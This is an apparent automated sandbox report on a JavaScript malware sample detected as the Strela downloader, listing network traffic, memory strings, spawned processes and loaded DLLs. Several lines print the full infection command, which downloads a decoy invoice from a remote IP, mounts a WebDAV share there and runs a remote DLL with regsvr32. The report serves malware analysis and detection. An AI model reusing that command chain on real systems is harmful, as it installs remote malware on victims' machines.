HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: global traffic

DNS traffic detected: DNS query: x1.i.lencr.org

Source: wscript.exe, 00000000.00000003.2193427146.0000011F001F9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205/invoice.php
Source: net.exe, 00000007.00000002.2248297429.000001BAA6C38000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.2058888/
Source: net.exe, 00000007.00000002.2248297429.000001BAA6C5D000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2248297429.000001BAA6C8A000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2248297429.000001BAA6C38000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/
Source: net.exe, 00000007.00000002.2248297429.000001BAA6C38000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/pace
Source: svchost.exe, 00000009.00000002.3471644672.000001A36AA00000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: 77EC63BDA74BD0D0E0426DC8F80085060.8.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome/acocfkfsx7alydpzevdxln7drwdq_117.0.5938.134/117.0.5
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: qmgr.db.9.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: 2D85F72862B55C4EADD9E66E06947F3D.8.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod1C:
Source: svchost.exe, 00000009.00000003.2261646949.000001A36A910000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV21C:

Spam, unwanted Advertisements and Ransom Demands

Yara detected Strela Downloader

Source: Yara match

File source: Process Memory Space: wscript.exe PID: 1708, type: MEMORYSTR

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\25423122431748.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\25423122431748.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: 187837506181165315.js

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.rans.troj.spyw.expl.evad.winJS@27/56@1/2

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1600:120:WilError_03
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ippnda4s.tvn.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\187837506181165315.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\25423122431748.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2144 --field-trial-handle=1636,i,15796860752491602674,9238924235117510376,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\25423122431748.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2144 --field-trial-handle=1636,i,15796860752491602674,9238924235117510376,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
